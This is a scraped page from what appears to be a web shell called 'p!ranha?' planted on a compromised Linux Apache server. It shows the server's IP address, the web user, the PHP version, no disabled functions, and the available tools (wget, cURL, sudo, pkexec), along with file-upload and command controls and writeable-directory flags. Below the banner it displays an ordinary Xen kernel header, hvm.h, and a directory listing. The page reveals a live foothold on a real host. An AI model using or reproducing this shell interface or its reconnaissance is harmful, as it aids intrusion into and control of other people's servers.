p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/source/include/xen/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/source/include/xen/hvm.h
/* Simple wrappers around HVM functions */
#ifndef XEN_HVM_H__
#define XEN_HVM_H__

#include <xen/interface/hvm/params.h>
#include <asm/xen/hypercall.h>

static const char *param_name(int op)
{
#define PARAM(x) [HVM_PARAM_##x] = #x
	static const char *const names[] = {
		PARAM(CALLBACK_IRQ),
		PARAM(STORE_PFN),
		PARAM(STORE_EVTCHN),
		PARAM(PAE_ENABLED),
		PARAM(IOREQ_PFN),
		PARAM(BUFIOREQ_PFN),
		PARAM(TIMER_MODE),
		PARAM(HPET_ENABLED),
		PARAM(IDENT_PT),
		PARAM(DM_DOMAIN),
		PARAM(ACPI_S_STATE),
		PARAM(VM86_TSS),
		PARAM(VPT_ALIGN),
		PARAM(CONSOLE_PFN),
		PARAM(CONSOLE_EVTCHN),
	};
#undef PARAM

	if (op >= ARRAY_SIZE(names))
		return "unknown";

	if (!names[op])
		return "reserved";

	return names[op];
}
static inline int hvm_get_parameter(int idx, uint64_t *value)
{
	struct xen_hvm_param xhv;
	int r;

	xhv.domid = DOMID_SELF;
	xhv.index = idx;
	r = HYPERVISOR_hvm_op(HVMOP_get_param, &xhv);
	if (r < 0) {
		pr_err("Cannot get hvm parameter %s (%d): %d!\n",
		       param_name(idx), idx, r);
		return r;
	}
	*value = xhv.value;
	return r;
}

#define HVM_CALLBACK_VIA_TYPE_VECTOR 0x2
#define HVM_CALLBACK_VIA_TYPE_SHIFT 56
#define HVM_CALLBACK_VECTOR(x) (((uint64_t)HVM_CALLBACK_VIA_TYPE_VECTOR)<<\
		HVM_CALLBACK_VIA_TYPE_SHIFT | (x))

#endif /* XEN_HVM_H__ */
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 19 2024 08:12:51
0 / 0
0755
interface
--
January 19 2024 08:12:51
0 / 0
0755
acpi.h
3.234 KB
November 06 2023 09:15:52
0 / 0
0644
balloon.h
1.178 KB
November 06 2023 09:15:52
0 / 0
0644
events.h
3.716 KB
November 06 2023 09:15:52
0 / 0
0644
features.h
0.452 KB
November 06 2023 09:15:52
0 / 0
0644
gntalloc.h
2.562 KB
November 06 2023 09:15:52
0 / 0
0644
gntdev.h
5.629 KB
November 06 2023 09:15:52
0 / 0
0644
grant_table.h
7.178 KB
November 06 2023 09:15:52
0 / 0
0644
hvc-console.h
0.468 KB
November 06 2023 09:15:52
0 / 0
0644
hvm.h
1.252 KB
November 06 2023 09:15:52
0 / 0
0644
page.h
0.439 KB
November 06 2023 09:15:52
0 / 0
0644
platform_pci.h
2.043 KB
November 06 2023 09:15:52
0 / 0
0644
swiotlb-xen.h
1.832 KB
November 06 2023 09:15:52
0 / 0
0644
tmem.h
0.303 KB
November 06 2023 09:15:52
0 / 0
0644
xen-ops.h
1.245 KB
November 06 2023 09:15:52
0 / 0
0644
xen.h
0.851 KB
November 06 2023 09:15:52
0 / 0
0644
xenbus.h
7.721 KB
November 06 2023 09:15:52
0 / 0
0644
xenbus_dev.h
1.803 KB
November 06 2023 09:15:52
0 / 0
0644
xencomm.h
2.548 KB
November 06 2023 09:15:52
0 / 0
0644